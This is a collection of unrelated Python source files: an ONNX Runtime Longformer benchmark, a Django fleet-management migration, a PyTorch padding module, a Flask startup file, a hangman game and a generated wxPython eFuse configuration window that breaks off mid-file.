benchmark_helper.measure_memory(is_gpu=True, func=inference) return { "onnx_model": onnx_model_path, "batch_size": batch_size, "sequence_length": sequence_length, "global_length": global_length, "test_times": test_times, "num_threads": num_threads, "memory": memory_used } def load_torch_model(model_name, device): torch_model_name_or_dir = PRETRAINED_LONGFORMER_MODELS[ model_name] if model_name in PRETRAINED_LONGFORMER_MODELS else model_name from transformers import LongformerModel model = LongformerModel.from_pretrained(torch_model_name_or_dir) model.to(device) return model def find_onnx_model(model_name, onnx_dir='.'): # Search onnx model in the following order: optimized fp16 model, optimized fp32 model, raw model # TODO: call convert_longformer_to_onnx to export onnx instead. import os.path onnx_model_path = os.path.join(onnx_dir, model_name + ".onnx") optimized_fp32_model = os.path.join(onnx_dir, model_name + "_fp32.onnx") optimized_fp16_model = os.path.join(onnx_dir, model_name + "_fp16.onnx") if os.path.isfile(optimized_fp16_model): onnx_model_path = optimized_fp16_model elif os.path.isfile(optimized_fp32_model): onnx_model_path = optimized_fp32_model return onnx_model_path def test_memory(args, device): if len(args.batch_sizes) > 1: raise RuntimeError("For memory test, only one batch_size (-b) is allowed.") if len(args.sequence_lengths) > 1: raise RuntimeError("For memory test, only one sequence_length (-s) is allowed.") if len(args.global_lengths) > 1: raise RuntimeError("For memory test, only one global_length (-g) is allowed.") model_name = args.model onnx_model_path = find_onnx_model(model_name) if not args.onnx else args.onnx torch.cuda.empty_cache() return test_ort_memory(device, onnx_model_path, args.batch_sizes[0], args.sequence_lengths[0], args.global_lengths[0], args.test_times, args.num_threads) def test_ort(args, device): model_name = args.model onnx_model_path = find_onnx_model(model_name) if not args.onnx else args.onnx optimized = onnx_model_path.endswith("_fp16.onnx") or onnx_model_path.endswith("_fp32.onnx") precision = 'fp32' if not onnx_model_path.endswith("_fp16.onnx") else 'fp16' model = load_torch_model(model_name, device) num_threads = args.num_threads session = benchmark_helper.create_onnxruntime_session(onnx_model_path, use_gpu=True, enable_all_optimization=True, num_threads=num_threads) if session is None: raise RuntimeError(f"Failed to create ORT session from ONNX file {onnx_model_path}") description = onnx_model_path if (os.environ.get('ORT_LONGFORMER_COMPACT_MEMORY', '0') == "1"): description += "[compact_memory]" return test_ort_latency(device, model, model_name, description, session, args.batch_sizes, args.sequence_lengths, args.global_lengths, args.test_times, num_threads, optimized, precision, args.validate_onnx, args.disable_io_binding, args.verbose) def test_torch(args, device): model = load_torch_model(args.model, device) return test_torch_latency(device, model, args.model, args.batch_sizes, args.sequence_lengths, args.global_lengths, args.test_times, args.num_threads, args.verbose) def test_latency(args, device): if "onnxruntime" == args.engine: return test_ort(args, device) elif "torch" == args.engine: return test_torch(args, device) raise RuntimeError("unknown engine " + args.engine) def parse_arguments(argv=None): parser = argparse.ArgumentParser() parser.add_argument("-m", "--model", required=False, type=str, default="longformer-base-4096", help="Checkpoint directory or pre-trained model names in the list: " + ", ".join(PRETRAINED_LONGFORMER_MODELS.keys())) parser.add_argument("-e", "--engine", required=False, type=str, default='onnxruntime', choices=['onnxruntime', 'torch'], help="Engine to benchmark.") parser.add_argument("-t", "--test_times", required=False, default=1000, type=int, help="Number of repeat times to get average inference latency.") parser.add_argument("-b", "--batch_sizes", nargs="+", type=int, default=[1]) # If --export_padding is not used in exporting onnx model, there is no padding in ONNX model so you will need padding inputs by yourself before running onnx model. # In that case, you can only test sequence length that is multiple of attention window size. parser.add_argument( "-s", "--sequence_lengths", nargs="+", type=int, default=[512, 1024, 2048, 4096], help= "Sequence lengths. It could have multiple values in latency test. If --export_padding is not used in exporting onnx model, sequence length shall be multiple of window size." ) parser.add_argument("--onnx", required=False, type=str, default=None, help="Onnx model path") parser.add_argument("-g", "--global_lengths", nargs="+", type=int, default=[0], help="Number of global tokens. It could have multiple values in latency test.") parser.add_argument("-n", "--num_threads", required=False, type=int, default=0, help="Threads to use.") parser.add_argument("-v", "--validate_onnx", required=False, action="store_true", help="Validate that ONNX model generates same output as PyTorch model.") parser.add_argument("--disable_io_binding", required=False, action="store_true", help="Do not use IO Binding.") parser.add_argument("--memory", required=False, action="store_true", help="Test memory usage instead of latency.") parser.add_argument("--verbose", required=False, action="store_true", help="Print more information.") args = parser.parse_args(argv) return args def output_details(results, csv_filename): latency_results = [result for result in results if 'average_latency_ms' in result] if len(latency_results) == 0: print("No latency results for output.") return with open(csv_filename, mode="a", newline='') as csv_file: column_names = [ "engine", "version", "device", "precision", "optimizer", "io_binding", "model_name", "inputs", "threads", "datetime", "test_times", "description", "batch_size", "sequence_length", "global_length", "memory", "QPS", "average_latency_ms", "latency_variance", "latency_90_percentile", "latency_95_percentile", "latency_99_percentile" ] csv_writer = csv.DictWriter(csv_file, fieldnames=column_names) csv_writer.writeheader() for result in latency_results: print( f"b={result['batch_size']}, s={result['sequence_length']}, g={result['global_length']}, latency={result['average_latency_ms']}ms, memory={result['memory']}MB {result['description']}" ) csv_writer.writerow(result) print(f"Detail results are saved to csv file: {csv_filename}") def run(args): if not torch.cuda.is_available(): raise RuntimeError("Please install PyTorch with Cuda, and use a machine with GPU for testing gpu performance.") torch.set_grad_enabled(False) # set random seed manully to get deterministic results #benchmark_helper.set_random_seed(123) # Currently, the longformer attention operator could only run in GPU (no CPU implementation yet). device = torch.device('cuda:0') if args.memory: return test_memory(args, device) else: return test_latency(args, device) def test_all(): results = [] test_times = 100 sequence_lengths = [512, 1024, 2048, 4096] for model_name in ['longformer-base-4096']: for batch_size in [1]: for sequence_length in sequence_lengths: for global_length in [8]: engine_name = 'torch' args = parse_arguments( f"-e {engine_name} -t {test_times} -b {batch_size} -s {sequence_length} -g {global_length} -t {test_times} -m {model_name}" .split(' ')) results += run(args) engine_name = 'onnxruntime' onnx_paths = [f"{model_name}_fp32.onnx", f"{model_name}_fp16.onnx"] # optimized models for onnx_path in onnx_paths: if os.path.exists(onnx_path): for compact_memory in ["0", "1"]: os.environ["ORT_LONGFORMER_COMPACT_MEMORY"] = compact_memory print("ORT_LONGFORMER_COMPACT_MEMORY=", compact_memory) args = parse_arguments( f"--disable_io_binding -e {engine_name} --onnx {onnx_path} -t {test_times} -b {batch_size} -s {sequence_length} -g {global_length} -t 10 -m {model_name} --memory" .split(' ')) memory_results = run(args) print(memory_results) args = parse_arguments( f"--disable_io_binding -e {engine_name} --onnx {onnx_path} -t {test_times} -b {batch_size} -s {sequence_length} -g {global_length} -t {test_times} -m {model_name} --validate_onnx" .split(' ')) latency_results = run(args) if len(latency_results) == 1: latency_results[0]["memory"] = memory_results["memory"] print(latency_results) results += latency_results return results if __name__ == "__main__": if len(sys.argv) > 1: args = parse_arguments() results = run(args) else: results = test_all() time_stamp = datetime.now().strftime("%Y%m%d-%H%M%S") csv_filename = f"benchmark_detail_{time_stamp}.csv" output_details(results, csv_filename) # -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2018-01-10 11:49 from __future__ import unicode_literals import django.core.validators from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('fleet_management', '0012_merge_20180110_1348'), ] operations = [ migrations.AlterField( model_name='fuelcard', name='card_number', field=models.CharField(max_length=255, verbose_name=b'Card Number'), ), migrations.AlterField( model_name='fuelcard', name='card_type', field=models.CharField(choices=[(b'fuel', b'Fuel Only'), (b'fuel oil', b'Fuel & Oil'), (b'fuel oil toll', b'Fuel, Oil & Toll'), (b'fuel oil etag', b'Fuel, Oil & eTag')], max_length=255, verbose_name=b'Card Type'), ), migrations.AlterField( model_name='historicalfuelcard', name='card_number', field=models.CharField(max_length=255, verbose_name=b'Card Number'), ), migrations.AlterField( model_name='historicalfuelcard', name='card_type', field=models.CharField(choices=[(b'fuel', b'Fuel Only'), (b'fuel oil', b'Fuel & Oil'), (b'fuel oil toll', b'Fuel, Oil & Toll'), (b'fuel oil etag', b'Fuel, Oil & eTag')], max_length=255, verbose_name=b'Card Type'), ), migrations.AlterField( model_name='historicalinsurance', name='insurance_type', field=models.CharField(choices=[(b'insurance', b'Insurance'), (b'shortfall', b'Shortfall Cover')], max_length=255, verbose_name=b'Insurance Type'), ), migrations.AlterField( model_name='historicalvehicle', name='division', field=models.CharField(choices=[(b'all', b'All'), (b'sales', b'Sales'), (b'marketing', b'Marketing')], max_length=120), ), migrations.AlterField( model_name='historicalvehicle', name='fuel_type', field=models.CharField(choices=[(b'diesel', b'Diesel'), (b'petrol', b'Petrol')], max_length=120, verbose_name=b'Fuel Type'), ), migrations.AlterField( model_name='historicalvehicle', name='ownership', field=models.CharField(choices=[(b'emerald', b'Emerald'), (b'private', b'Private')], max_length=50), ), migrations.AlterField( model_name='historicalvehicle', name='status_at_create', field=models.CharField(choices=[(b'new', b'New'), (b'used', b'Used')], max_length=50, verbose_name=b'Status at Create'), ), migrations.AlterField( model_name='historicalvehicle', name='transmission', field=models.CharField(choices=[(b'automatic', b'Automatic'), (b'manual', b'Manual')], max_length=50), ), migrations.AlterField( model_name='historicalvehiclemaintenance', name='end_date', field=models.DateTimeField(blank=True, null=True, verbose_name=b'End Date'), ), migrations.AlterField( model_name='historicalvehiclemaintenance', name='end_mileage', field=models.IntegerField(blank=True, default=0, null=True, validators=[django.core.validators.MinValueValidator(0)], verbose_name=b'End Mileage'), ), migrations.AlterField( model_name='historicalvehiclemaintenance', name='plan_type', field=models.CharField(choices=[(b'maintenance_plan', b'Maintenance Plan'), (b'service_plan', b'Service Plan'), (b'warranty', b'Warranty')], max_length=50, verbose_name=b'Plan Type'), ), migrations.AlterField( model_name='incident', name='incident_type', field=models.CharField(choices=[(b'road accident', b'Road Accident'), (b'smash and grab', b'Smash And Grab'), (b'tracker warning', b'Tracker Warning'), (b'traffic fine', b'Traffic Fine'), (b'vehicle theft', b'Vehicle Theft'), (b'windscreen', b'Windscreen')], max_length=255, verbose_name=b'Incident Type'), ), migrations.AlterField( model_name='insurance', name='insurance_type', field=models.CharField(choices=[(b'insurance', b'Insurance'), (b'shortfall', b'Shortfall Cover')], max_length=255, verbose_name=b'Insurance Type'), ), migrations.AlterField( model_name='vehicle', name='division', field=models.CharField(choices=[(b'all', b'All'), (b'sales', b'Sales'), (b'marketing', b'Marketing')], max_length=120), ), migrations.AlterField( model_name='vehicle', name='fuel_type', field=models.CharField(choices=[(b'diesel', b'Diesel'), (b'petrol', b'Petrol')], max_length=120, verbose_name=b'Fuel Type'), ), migrations.AlterField( model_name='vehicle', name='ownership', field=models.CharField(choices=[(b'emerald', b'Emerald'), (b'private', b'Private')], max_length=50), ), migrations.AlterField( model_name='vehicle', name='status_at_create', field=models.CharField(choices=[(b'new', b'New'), (b'used', b'Used')], max_length=50, verbose_name=b'Status at Create'), ), migrations.AlterField( model_name='vehicle', name='transmission', field=models.CharField(choices=[(b'automatic', b'Automatic'), (b'manual', b'Manual')], max_length=50), ), migrations.AlterField( model_name='vehicledocument', name='document_type', field=models.CharField(choices=[(b'', b'--------'), (b'contract', b'Contract'), (b'invoice', b'Invoice'), (b'lease', b'Lease Agreement'), (b'natis', b'Natis Document'), (b'quotation', b'Quotation'), (b'other', b'Other')], max_length=255), ), migrations.AlterField( model_name='vehiclemaintenance', name='end_date', field=models.DateTimeField(blank=True, null=True, verbose_name=b'End Date'), ), migrations.AlterField( model_name='vehiclemaintenance', name='end_mileage', field=models.IntegerField(blank=True, default=0, null=True, validators=[django.core.validators.MinValueValidator(0)], verbose_name=b'End Mileage'), ), migrations.AlterField( model_name='vehiclemaintenance', name='plan_type', field=models.CharField(choices=[(b'maintenance_plan', b'Maintenance Plan'), (b'service_plan', b'Service Plan'), (b'warranty', b'Warranty')], max_length=50, verbose_name=b'Plan Type'), ), ] # Pytorch modules import torch from torch import nn import torch.nn.functional as F # Other modules import matplotlib.pyplot as plt class PadWithin(nn.Module): """ Zero Insertion Module Ref: https://github.com/pytorch/pytorch/issues/7911 """ def __init__(self, stride): super(PadWithin, self).__init__() self.stride = stride w = torch.zeros(self.stride, self.stride) w[0,0] = 1 self.register_buffer('w', w) # Register a buffer so that tensor device will not be an issue def forward(self, feats): return F.conv_transpose2d(feats, self.w.expand(feats.size(1), 1, self.stride, self.stride), stride=self.stride, groups=feats.size(1)) def test_pad_within(size=8): use_gpu = torch.cuda.is_available() device = torch.device("cuda" if use_gpu else "cpu") pad_within = PadWithin(2).to(device) test_tensor = torch.arange(start=0, end=10.0, step=1/(size*size)).view((1, 10, size, size)).to(device) padded_tensor = pad_within(test_tensor) print( "test_tensor shape = {}, padded_tensor_shape = {}".format(test_tensor.shape, padded_tensor.shape) ) _, axs = plt.subplots(1, 2) axs[0].imshow(test_tensor[0, 9, :, :].cpu().numpy()) axs[1].imshow(padded_tensor[0, 9, :, :].cpu().numpy()) plt.show() if __name__ == "__main__": test_pad_within()import logging from db.cache import get_cache import settings import api.v1 from api import app application = app # Clear memcached cache on startup cache = get_cache() cache.invalidate(True) if settings.SENTRY_CONNECTION_STRING is not None: from raven.contrib.flask import Sentry sentry = Sentry(dsn=settings.SENTRY_CONNECTION_STRING, logging=True, level=logging.WARN) sentry.init_app(application) """ File: hangman.py ----------------------------- This program plays hangman game. Users sees a dashed word, trying to correctly figure the un-dashed word out by inputting one character each round. If the user input is correct, show the updated word on console. Players have N_TURNS to try in order to win this game. """ import random # This constant controls the number of guess the player has. N_TURNS = 7 def main(): """ TODO: """ answer = random_word() # The answer will be replaced by dash. dashed = '' for i in range(len(answer)): dashed += '-' print('The word looks like: '+str(dashed)) print('You have '+str(N_TURNS)+' guesses left.') guess = input('Your guess: ') new_n_turns = N_TURNS # If the number of guess the player has is not zero, this game keep going. while new_n_turns != 0: guess = guess.upper() # Case-insensitive. new_dashed = '' find = False # Inspect guessing right or wrong. if form(guess) == -1: print('illegal format.') else: for j in range(len(answer)): if answer[j] == guess: find = True #有猜到設成True new_dashed += guess else: new_dashed += dashed[j] dashed = new_dashed # This game is over when players answers all the characters correct. if '-' not in dashed: print('You win!!') print('The word was: ' + str(answer)) break if not find: # The number of guess the player has will minus when players guess wrong. new_n_turns = new_n_turns - 1 print('There is no '+str(guess)+'\'s in the word.') # This game is over when the number of guess the player has is zero. if new_n_turns == 0: print('You are completely hung : (') print('The word was: ' + str(answer)) break else: print('You are correct!') print('The word looks like ' + str(dashed)) print('You have '+str(new_n_turns)+' guesses left.') guess = input('Your guess: ') def random_word(): num = random.choice(range(9)) if num == 0: return "NOTORIOUS" elif num == 1: return "GLAMOROUS" elif num == 2: return "CAUTIOUS" elif num == 3: return "DEMOCRACY" elif num == 4: return "BOYCOTT" elif num == 5: return "ENTHUSIASTIC" elif num == 6: return "HOSPITALITY" elif num == 7: return "BUNDLE" elif num == 8: return "REFUND" def form(guess): # Inspect the format of users' guess. formation = guess.isalpha() if not formation: return -1 if len(guess) != 1: return -1 return 1 ##### DO NOT EDIT THE CODE BELOW THIS LINE ##### if __name__ == '__main__': main() src/win/efuseWin_BootCfg2.py # -*- coding: utf-8 -*- ########################################################################### ## Python code generated with wxFormBuilder (version Aug 8 2018) ## http://www.wxformbuilder.org/ ## ## PLEASE DO *NOT* EDIT THIS FILE! ########################################################################### import wx import wx.xrc ########################################################################### ## Class efuseWin_BootCfg2 ########################################################################### class efuseWin_BootCfg2 ( wx.Frame ): def __init__( self, parent ): wx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = wx.EmptyString, pos = wx.DefaultPosition, size = wx.Size( 860,370 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL ) self.SetSizeHints( wx.DefaultSize, wx.DefaultSize ) self.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_WINDOW ) ) wSizer_win = wx.WrapSizer( wx.HORIZONTAL, wx.WRAPSIZER_DEFAULT_FLAGS ) bSizer_byteIdx = wx.BoxSizer( wx.VERTICAL ) self.m_staticText_address = wx.StaticText( self, wx.ID_ANY, u"Address", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_address.Wrap( -1 ) self.m_staticText_address.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) bSizer_byteIdx.Add( self.m_staticText_address, 0, wx.ALL, 5 ) self.m_staticText_byteIdx0 = wx.StaticText( self, wx.ID_ANY, u" 0x470[7:0]", wx.DefaultPosition, wx.Size( 80,51 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_byteIdx0.Wrap( -1 ) self.m_staticText_byteIdx0.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) bSizer_byteIdx.Add( self.m_staticText_byteIdx0, 0, wx.ALL, 5 ) self.m_staticText_byteIdx1 = wx.StaticText( self, wx.ID_ANY, u" 0x470[15:8]", wx.DefaultPosition, wx.Size( 80,51 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_byteIdx1.Wrap( -1 ) self.m_staticText_byteIdx1.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) bSizer_byteIdx.Add( self.m_staticText_byteIdx1, 0, wx.ALL, 5 ) self.m_staticText_byteIdx2 = wx.StaticText( self, wx.ID_ANY, u" 0x470[23:16]", wx.DefaultPosition, wx.Size( 80,51 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_byteIdx2.Wrap( -1 ) self.m_staticText_byteIdx2.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) bSizer_byteIdx.Add( self.m_staticText_byteIdx2, 0, wx.ALL, 5 ) self.m_staticText_byteIdx3 = wx.StaticText( self, wx.ID_ANY, u" 0x470[31:24]", wx.DefaultPosition, wx.Size( 80,51 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_byteIdx3.Wrap( -1 ) self.m_staticText_byteIdx3.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) bSizer_byteIdx.Add( self.m_staticText_byteIdx3, 0, wx.ALL, 5 ) wSizer_win.Add( bSizer_byteIdx, 1, wx.EXPAND, 5 ) bSizer_bitIdx = wx.BoxSizer( wx.VERTICAL ) wSizer_bitIdx = wx.WrapSizer( wx.HORIZONTAL, wx.WRAPSIZER_DEFAULT_FLAGS ) self.m_staticText_bitIdx7 = wx.StaticText( self, wx.ID_ANY, u"7", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx7.Wrap( -1 ) self.m_staticText_bitIdx7.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx7, 0, wx.ALL, 5 ) self.m_staticText_bitIdx6 = wx.StaticText( self, wx.ID_ANY, u"6", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx6.Wrap( -1 ) self.m_staticText_bitIdx6.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx6, 0, wx.ALL, 5 ) self.m_staticText_bitIdx5 = wx.StaticText( self, wx.ID_ANY, u"5", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx5.Wrap( -1 ) self.m_staticText_bitIdx5.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx5, 0, wx.ALL, 5 ) self.m_staticText_bitIdx4 = wx.StaticText( self, wx.ID_ANY, u"4", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx4.Wrap( -1 ) self.m_staticText_bitIdx4.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx4, 0, wx.ALL, 5 ) self.m_staticText_bitIdx3 = wx.StaticText( self, wx.ID_ANY, u"3", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx3.Wrap( -1 ) self.m_staticText_bitIdx3.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx3, 0, wx.ALL, 5 ) self.m_staticText_bitIdx2 = wx.StaticText( self, wx.ID_ANY, u"2", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx2.Wrap( -1 ) self.m_staticText_bitIdx2.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx2, 0, wx.ALL, 5 ) self.m_staticText_bitIdx1 = wx.StaticText( self, wx.ID_ANY, u"1", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx1.Wrap( -1 ) self.m_staticText_bitIdx1.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx1, 0, wx.ALL, 5 ) self.m_staticText_bitIdx0 = wx.StaticText( self, wx.ID_ANY, u"0", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SUNKEN ) self.m_staticText_bitIdx0.Wrap( -1 ) self.m_staticText_bitIdx0.SetBackgroundColour( wx.SystemSettings.GetColour( wx.SYS_COLOUR_INFOBK ) ) wSizer_bitIdx.Add( self.m_staticText_bitIdx0, 0, wx.ALL, 5 ) self.m_staticText_bit7 = wx.StaticText( self, wx.ID_ANY, u"DLL Override", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit7.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit7, 0, wx.ALL, 5 ) self.m_staticText_bit6 = wx.StaticText( self, wx.ID_ANY, u"SD1_RST_PO_SEL", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit6.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit6, 0, wx.ALL, 5 ) self.m_staticText_bit5 = wx.StaticText( self, wx.ID_ANY, u"SD2 VOLTAGE", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit5.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit5, 0, wx.ALL, 5 ) self.m_staticText_bit4 = wx.StaticText( self, wx.ID_ANY, u"UART_Ser-D_Dis", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit4.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit4, 0, wx.ALL, 5 ) self.m_staticText_bit3 = wx.StaticText( self, wx.ID_ANY, u"Dis_SDMMC_manu", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit3.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit3, 0, wx.ALL, 5 ) self.m_staticText_bit2 = wx.StaticText( self, wx.ID_ANY, u"L1 I-Cache Dis", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit2.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit2, 0, wx.ALL, 5 ) self.m_staticText_bit1 = wx.StaticText( self, wx.ID_ANY, u"L1_D-Cache_DIS", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit1.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit1, 0, wx.ALL, 5 ) self.m_staticText_bit0 = wx.StaticText( self, wx.ID_ANY, u"Override_Pad_Set", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit0.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit0, 0, wx.ALL, 5 ) m_choice_bit7Choices = [ u"0 -Slave Mode", u"1 -Override Mode" ] self.m_choice_bit7 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit7Choices, 0 ) self.m_choice_bit7.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit7, 0, wx.ALL, 5 ) m_choice_bit6Choices = [ u"0 -Reset Low", u"1 -Reset High" ] self.m_choice_bit6 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit6Choices, 0 ) self.m_choice_bit6.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit6, 0, wx.ALL, 5 ) m_choice_bit5Choices = [ u"0 -3.3V ", u"1 -1.8V" ] self.m_choice_bit5 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit5Choices, 0 ) self.m_choice_bit5.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit5, 0, wx.ALL, 5 ) m_choice_bit4Choices = [ u"0 -Not Disable ", u"1 -Disable" ] self.m_choice_bit4 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit4Choices, 0 ) self.m_choice_bit4.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit4, 0, wx.ALL, 5 ) m_choice_bit3Choices = [ u"0 -Enable ", u"1 -Disable" ] self.m_choice_bit3 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit3Choices, 0 ) self.m_choice_bit3.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit3, 0, wx.ALL, 5 ) m_choice_bit2Choices = [ u"0 ", u"1 " ] self.m_choice_bit2 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit2Choices, 0 ) self.m_choice_bit2.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit2, 0, wx.ALL, 5 ) m_choice_bit1Choices = [ u"0 -Enable ", u"1 -Disable" ] self.m_choice_bit1 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit1Choices, 0 ) self.m_choice_bit1.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit1, 0, wx.ALL, 5 ) m_choice_bit0Choices = [ u"0", u"1" ] self.m_choice_bit0 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 80,-1 ), m_choice_bit0Choices, 0 ) self.m_choice_bit0.SetSelection( 0 ) wSizer_bitIdx.Add( self.m_choice_bit0, 0, wx.ALL, 5 ) self.m_staticText_bit15 = wx.StaticText( self, wx.ID_ANY, u"SD2_RST_PO_SEL", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit15.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit15, 0, wx.ALL, 5 ) self.m_staticText_bit14 = wx.StaticText( self, wx.ID_ANY, u"RE_TO_PRE-IDLE", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit14.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit14, 0, wx.ALL, 5 ) self.m_staticText_bit13 = wx.StaticText( self, wx.ID_ANY, u"Override_HYS_bit", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit13.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit13, 0, wx.ALL, 5 ) self.m_staticText_bit12 = wx.StaticText( self, wx.ID_ANY, u"USDHC_PAD_DOWN", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit12.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit12, 0, wx.ALL, 5 ) self.m_staticText_bit11 = wx.StaticText( self, wx.ID_ANY, u"ENA_EMMC_22K_PULLUP", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit11.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit11, 0, wx.ALL, 5 ) self.m_staticText_bit10 = wx.StaticText( self, wx.ID_ANY, u"BootFailIndiPinSelect[4]", wx.DefaultPosition, wx.Size( 80,-1 ), wx.ALIGN_CENTER_HORIZONTAL|wx.BORDER_SIMPLE ) self.m_staticText_bit10.Wrap( -1 ) wSizer_bitIdx.Add( self.m_staticText_bit10, 0, wx.ALL, 5 ) self.m_staticText_bit9 = wx.StaticText( self, wx.ID_ANY, u"USDHC_IOMUX_SION_BIT_ENA", wx.DefaultPosition, wx.Size( 80,-1 ), 